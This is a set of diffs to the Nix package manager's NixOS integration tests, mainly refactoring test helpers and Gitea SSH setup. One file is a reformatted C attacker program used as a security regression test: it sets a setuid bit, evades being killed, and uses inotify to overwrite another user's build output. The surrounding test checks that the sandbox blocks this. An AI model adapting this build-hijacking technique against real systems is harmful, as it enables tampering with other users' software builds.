imports = [ ./remote-builds.nix ];
builders.config =
@ -118,7 +130,7 @@ in
};
};
"remoteBuilds_local_${nixVersion}" = runNixOSTestFor "x86_64-linux" {
"remoteBuilds_local_${nixVersion}" = runNixOSTest {
name = "remoteBuilds_local_${nixVersion}";
imports = [ ./remote-builds.nix ];
nodes.client =
@ -128,7 +140,7 @@ in
};
};
"remoteBuildsSshNg_remote_${nixVersion}" = runNixOSTestFor "x86_64-linux" {
"remoteBuildsSshNg_remote_${nixVersion}" = runNixOSTest {
name = "remoteBuildsSshNg_remote_${nixVersion}";
imports = [ ./remote-builds-ssh-ng.nix ];
builders.config =
@ -140,7 +152,7 @@ in
# FIXME: these tests don't work yet
# "remoteBuildsSshNg_local_${nixVersion}" = runNixOSTestFor "x86_64-linux" {
# "remoteBuildsSshNg_local_${nixVersion}" = runNixOSTest {
# name = "remoteBuildsSshNg_local_${nixVersion}";
# imports = [ ./remote-builds-ssh-ng.nix ];
# nodes.client = { lib, pkgs, ... }: {
@ -151,49 +163,49 @@ in
) otherNixes
// {
nix-copy-closure = runNixOSTestFor "x86_64-linux" ./nix-copy-closure.nix;
nix-copy-closure = runNixOSTest ./nix-copy-closure.nix;
nix-copy = runNixOSTestFor "x86_64-linux" ./nix-copy.nix;
nix-copy = runNixOSTest ./nix-copy.nix;
nix-docker = runNixOSTestFor "x86_64-linux" ./nix-docker.nix;
nix-docker = runNixOSTest ./nix-docker.nix;
nssPreload = runNixOSTestFor "x86_64-linux" ./nss-preload.nix;
nssPreload = runNixOSTest ./nss-preload.nix;
githubFlakes = runNixOSTestFor "x86_64-linux" ./github-flakes.nix;
githubFlakes = runNixOSTest ./github-flakes.nix;
gitSubmodules = runNixOSTestFor "x86_64-linux" ./git-submodules.nix;
gitSubmodules = runNixOSTest ./git-submodules.nix;
sourcehutFlakes = runNixOSTestFor "x86_64-linux" ./sourcehut-flakes.nix;
sourcehutFlakes = runNixOSTest ./sourcehut-flakes.nix;
tarballFlakes = runNixOSTestFor "x86_64-linux" ./tarball-flakes.nix;
tarballFlakes = runNixOSTest ./tarball-flakes.nix;
containers = runNixOSTestFor "x86_64-linux" ./containers/containers.nix;
containers = runNixOSTest ./containers/containers.nix;
setuid = lib.genAttrs [ "x86_64-linux" ] (system: runNixOSTestFor system ./setuid.nix);
setuid = runNixOSTest ./setuid.nix;
fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git;
fetch-git = runNixOSTest ./fetch-git;
ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
ca-fd-leak = runNixOSTest ./ca-fd-leak;
gzip-content-encoding = runNixOSTestFor "x86_64-linux" ./gzip-content-encoding.nix;
gzip-content-encoding = runNixOSTest ./gzip-content-encoding.nix;
functional_user = runNixOSTestFor "x86_64-linux" ./functional/as-user.nix;
functional_user = runNixOSTest ./functional/as-user.nix;
functional_trusted = runNixOSTestFor "x86_64-linux" ./functional/as-trusted-user.nix;
functional_trusted = runNixOSTest ./functional/as-trusted-user.nix;
functional_root = runNixOSTestFor "x86_64-linux" ./functional/as-root.nix;
functional_root = runNixOSTest ./functional/as-root.nix;
functional_symlinked-home = runNixOSTestFor "x86_64-linux" ./functional/symlinked-home.nix;
functional_symlinked-home = runNixOSTest ./functional/symlinked-home.nix;
user-sandboxing = runNixOSTestFor "x86_64-linux" ./user-sandboxing;
user-sandboxing = runNixOSTest ./user-sandboxing;
s3-binary-cache-store = runNixOSTestFor "x86_64-linux" ./s3-binary-cache-store.nix;
s3-binary-cache-store = runNixOSTest ./s3-binary-cache-store.nix;
fsync = runNixOSTestFor "x86_64-linux" ./fsync.nix;
fsync = runNixOSTest ./fsync.nix;
cgroups = runNixOSTestFor "x86_64-linux" ./cgroups;
cgroups = runNixOSTest ./cgroups;
fetchurl = runNixOSTestFor "x86_64-linux" ./fetchurl.nix;
fetchurl = runNixOSTest ./fetchurl.nix;
chrootStore = runNixOSTestFor "x86_64-linux" ./chroot-store.nix;
chrootStore = runNixOSTest ./chroot-store.nix;
}

View file

@ -224,5 +224,25 @@
""")
client.succeed(f"cmp {repo.path}/beeg {fetched_self_lfs}/beeg >&2")
with subtest("Ensure fetching with SSH generates the same output"):
client.succeed(f"{repo.git} push origin-ssh main >&2")
client.succeed("rm -rf ~/.cache/nix") # Avoid using the cached output of the http fetch
fetchGit_ssh_expr = f"""
builtins.fetchGit {{
url = "{repo.remote_ssh}";
rev = "{lfs_file_rev}";
ref = "main";
lfs = true;
}}
"""
fetched_ssh = client.succeed(f"""
nix eval --debug --impure --raw --expr '({fetchGit_ssh_expr}).outPath'
""")
assert fetched_ssh == fetched_lfs, \
f"fetching with ssh (store path {fetched_ssh}) yielded a different result than using http (store path {fetched_lfs})"
'';
}

View file

@ -49,19 +49,15 @@ in
self.name = name
self.path = "/tmp/repos/" + name
self.remote = "http://gitea:3000/test/" + name
self.remote_ssh = "ssh://gitea/root/" + name
self.remote_ssh = "ssh://gitea:3001/test/" + name
self.git = f"git -C {self.path}"
self.private = private
self.create()
def create(self):
# create ssh remote repo
# create remote repo
gitea.succeed(f"""
git init --bare -b main /root/{self.name}
""")
# create http remote repo
gitea.succeed(f"""
curl --fail -X POST http://{gitea_admin}:{gitea_admin_password}@gitea:3000/api/v1/user/repos \
curl --fail -X POST http://{gitea_user}:{gitea_password}@gitea:3000/api/v1/user/repos \
-H 'Accept: application/json' -H 'Content-Type: application/json' \
-d {shlex.quote( f'{{"name":"{self.name}", "default_branch": "main", "private": {boolToJSON(self.private)}}}' )}
""")
@ -70,7 +66,7 @@ in
mkdir -p {self.path} \
&& git init -b main {self.path} \
&& {self.git} remote add origin {self.remote} \
&& {self.git} remote add origin-ssh root@gitea:{self.name}
&& {self.git} remote add origin-ssh {self.remote_ssh}
""")
'';
};

View file

@ -35,28 +35,20 @@ in
server = {
DOMAIN = "gitea";
HTTP_PORT = 3000;
SSH_PORT = 3001;
START_SSH_SERVER = true;
};
log.LEVEL = "Info";
database.LOG_SQL = false;
};
services.openssh.enable = true;
networking.firewall.allowedTCPPorts = [ 3000 ];
networking.firewall.allowedTCPPorts = [
3000
3001
];
environment.systemPackages = [
pkgs.git
pkgs.gitea
];
users.users.root.openssh.authorizedKeys.keys = [ clientPublicKey ];
# TODO: remove this after updating to nixos-23.11
nixpkgs.pkgs = lib.mkForce (
import nixpkgs {
inherit system;
config.permittedInsecurePackages = [
"gitea-1.19.4"
];
}
);
};
client =
{ pkgs, ... }:
@ -67,38 +59,33 @@ in
];
};
};
defaults =
{ pkgs, ... }:
{
environment.systemPackages = [ pkgs.jq ];
};
setupScript = ''
import shlex
gitea.wait_for_unit("gitea.service")
gitea_admin = "test"
gitea_admin_password = "test123test"
gitea_user = "test"
gitea_password = "test123test"
gitea.succeed(f"""
gitea --version >&2
su -l gitea -c 'GITEA_WORK_DIR=/var/lib/gitea gitea admin user create \
--username {gitea_admin} --password {gitea_admin_password} --email test@client'
--username {gitea_user} --password {gitea_password} --email test@client'
""")
client.wait_for_unit("multi-user.target")
gitea.wait_for_open_port(3000)
gitea.wait_for_open_port(3001)
gitea_admin_token = gitea.succeed(f"""
curl --fail -X POST http://{gitea_admin}:{gitea_admin_password}@gitea:3000/api/v1/users/test/tokens \
gitea.succeed(f"""
curl --fail -X POST http://{gitea_user}:{gitea_password}@gitea:3000/api/v1/user/keys \
-H 'Accept: application/json' -H 'Content-Type: application/json' \
-d {shlex.quote( '{"name":"token", "scopes":["all"]}' )} \
| jq -r '.sha1'
""").strip()
-d {shlex.quote( '{"title":"key", "key":"${clientPublicKey}", "read_only": false}' )} >&2
""")
client.succeed(f"""
echo "http://{gitea_admin}:{gitea_admin_password}@gitea:3000" >~/.git-credentials-admin
echo "http://{gitea_user}:{gitea_password}@gitea:3000" >~/.git-credentials-admin
git config --global credential.helper 'store --file ~/.git-credentials-admin'
git config --global user.email "test@client"
git config --global user.name "Test User"
@ -118,13 +105,7 @@ in
echo "Host gitea" >>~/.ssh/config
echo " StrictHostKeyChecking no" >>~/.ssh/config
echo " UserKnownHostsFile /dev/null" >>~/.ssh/config
echo " User root" >>~/.ssh/config
echo " User gitea" >>~/.ssh/config
""")
# ensure ssh from client to gitea works
client.succeed("""
ssh root@gitea true
""")
'';
}

View file

@ -1,4 +1,4 @@
{ lib, ... }:
{ lib, nixComponents, ... }:
let
# FIXME (roberth) reference issue
@ -49,11 +49,11 @@ in
cd ~
cp -r ${pkgs.nixComponents2.nix-functional-tests.src} nix
cp -r ${nixComponents.nix-functional-tests.src} nix
chmod -R +w nix
chmod u+w nix/.version
echo ${pkgs.nixComponents2.version} > nix/.version
echo ${nixComponents.version} > nix/.version
export isTestOnNixOS=1

View file

@ -81,7 +81,7 @@ let
mkdir -p $out/archive
dir=NixOS-nixpkgs-${nixpkgs.shortRev}
cp -prd ${nixpkgs} $dir
cp -rd --preserve=ownership,timestamps ${nixpkgs} $dir
# Set the correct timestamp in the tarball.
find $dir -print0 | xargs -0 touch -h -t ${builtins.substring 0 12 nixpkgs.lastModifiedDate}.${
builtins.substring 12 2 nixpkgs.lastModifiedDate

View file

@ -18,6 +18,10 @@ let
services.openssh.enable = true;
virtualisation.writableStore = true;
nix.settings.sandbox = true;
services.openssh.ports = [
22
]
++ lib.optional supportsCustomPort 2222;
# Regression test for use of PID namespaces when /proc has
# filesystems mounted on top of it
@ -42,6 +46,7 @@ let
supportsBadShell = lib.versionAtLeast config.nodes.client.nix.package.version "2.25pre";
supportsCustomPort = lib.versionAtLeast config.nodes.client.nix.package.version "2.31.0pre20250806";
in
{
@ -74,7 +79,7 @@ in
nix.distributedBuilds = true;
nix.buildMachines = [
{
hostName = "builder1";
hostName = "builder1" + (lib.optionalString supportsCustomPort ":2222");
sshUser = "root";
sshKey = "/root/.ssh/id_ed25519";
system = "i686-linux";

View file

@ -48,7 +48,7 @@ let
nixpkgs-repo = pkgs.runCommand "nixpkgs-flake" { } ''
dir=NixOS-nixpkgs-${nixpkgs.shortRev}
cp -prd ${nixpkgs} $dir
cp -rd --preserve=ownership,timestamps ${nixpkgs} $dir
# Set the correct timestamp in the tarball.
find $dir -print0 | xargs -0 touch -h -t ${builtins.substring 0 12 nixpkgs.lastModifiedDate}.${

View file

@ -13,7 +13,7 @@ let
set -x
dir=nixpkgs-${nixpkgs.shortRev}
cp -prd ${nixpkgs} $dir
cp -rd --preserve=ownership,timestamps ${nixpkgs} $dir
# Set the correct timestamp in the tarball.
find $dir -print0 | xargs -0 touch -h -t ${builtins.substring 0 12 nixpkgs.lastModifiedDate}.${
builtins.substring 12 2 nixpkgs.lastModifiedDate

View file

@ -9,74 +9,74 @@
#define SYS_fchmodat2 452
int fchmodat2(int dirfd, const char *pathname, mode_t mode, int flags) {
return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags);
int fchmodat2(int dirfd, const char * pathname, mode_t mode, int flags)
{
return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags);
}
int main(int argc, char **argv) {
if (argc <= 1) {
// stage 1: place the setuid-builder executable
int main(int argc, char ** argv)
{
if (argc <= 1) {
// stage 1: place the setuid-builder executable
// make the build directory world-accessible first
chmod(".", 0755);
// make the build directory world-accessible first
chmod(".", 0755);
if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) {
perror("Setting the suid bit on attacker");
exit(-1);
}
} else {
// stage 2: corrupt the victim derivation while it's building
// prevent the kill
if (setresuid(-1, -1, getuid())) {
perror("setresuid");
exit(-1);
}
if (fork() == 0) {
// wait for the victim to build
int fd = inotify_init();
inotify_add_watch(fd, argv[1], IN_CREATE);
int dirfd = open(argv[1], O_DIRECTORY);
if (dirfd < 0) {
perror("opening the global build directory");
exit(-1);
}
char buf[4096];
fprintf(stderr, "Entering the inotify loop\n");
for (;;) {
ssize_t len = read(fd, buf, sizeof(buf));
struct inotify_event *ev;
for (char *pe = buf; pe < buf + len;
pe += sizeof(struct inotify_event) + ev->len) {
ev = (struct inotify_event *)pe;
fprintf(stderr, "folder %s created\n", ev->name);
// wait a bit to prevent racing against the creation
sleep(1);
int builddir = openat(dirfd, ev->name, O_DIRECTORY);
if (builddir < 0) {
perror("opening the build directory");
continue;
}
int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC);
if (resultfile < 0) {
perror("opening the hijacked file");
continue;
}
int writeres = write(resultfile, "bad\n", 4);
if (writeres < 0) {
perror("writing to the hijacked file");
continue;
}
fprintf(stderr, "Hijacked the build for %s\n", ev->name);
return 0;
if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) {
perror("Setting the suid bit on attacker");
exit(-1);
}
}
} else {
// stage 2: corrupt the victim derivation while it's building
// prevent the kill
if (setresuid(-1, -1, getuid())) {
perror("setresuid");
exit(-1);
}
if (fork() == 0) {
// wait for the victim to build
int fd = inotify_init();
inotify_add_watch(fd, argv[1], IN_CREATE);
int dirfd = open(argv[1], O_DIRECTORY);
if (dirfd < 0) {
perror("opening the global build directory");
exit(-1);
}
char buf[4096];
fprintf(stderr, "Entering the inotify loop\n");
for (;;) {
ssize_t len = read(fd, buf, sizeof(buf));
struct inotify_event * ev;
for (char * pe = buf; pe < buf + len; pe += sizeof(struct inotify_event) + ev->len) {
ev = (struct inotify_event *) pe;
fprintf(stderr, "folder %s created\n", ev->name);
// wait a bit to prevent racing against the creation
sleep(1);
int builddir = openat(dirfd, ev->name, O_DIRECTORY);
if (builddir < 0) {
perror("opening the build directory");
continue;
}
int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC);
if (resultfile < 0) {
perror("opening the hijacked file");
continue;
}
int writeres = write(resultfile, "bad\n", 4);
if (writeres < 0) {
perror("writing to the hijacked file");
continue;
}
fprintf(stderr, "Hijacked the build for %s\n", ev->name);
return 0;
}
}
}
exit(0);
}
exit(0);
}
}

View file

@ -104,8 +104,8 @@ in
# Wait for the build to be ready
# This is OK because it runs as root, so we can access everything
machine.wait_until_succeeds("stat /nix/var/nix/builds/nix-build-open-build-dir.drv-*/build/syncPoint")
dir = machine.succeed("ls -d /nix/var/nix/builds/nix-build-open-build-dir.drv-*").strip()
machine.wait_until_succeeds("stat /nix/var/nix/builds/nix-*/build/syncPoint")
dir = machine.succeed("ls -d /nix/var/nix/builds/nix-*").strip()
# But Alice shouldn't be able to access the build directory
machine.fail(f"su alice -c 'ls {dir}/build'")
@ -125,8 +125,8 @@ in
args = [ (builtins.storePath "${create-hello-world}") ];
}' >&2 &
""".strip())
machine.wait_until_succeeds("stat /nix/var/nix/builds/nix-build-innocent.drv-*/build/syncPoint")
dir = machine.succeed("ls -d /nix/var/nix/builds/nix-build-innocent.drv-*").strip()
machine.wait_until_succeeds("stat /nix/var/nix/builds/nix-*/build/syncPoint")
dir = machine.succeed("ls -d /nix/var/nix/builds/nix-*").strip()
# The build ran as `nixbld1` (which is the only build user on the
# machine), but a process running as `nixbld1` outside the sandbox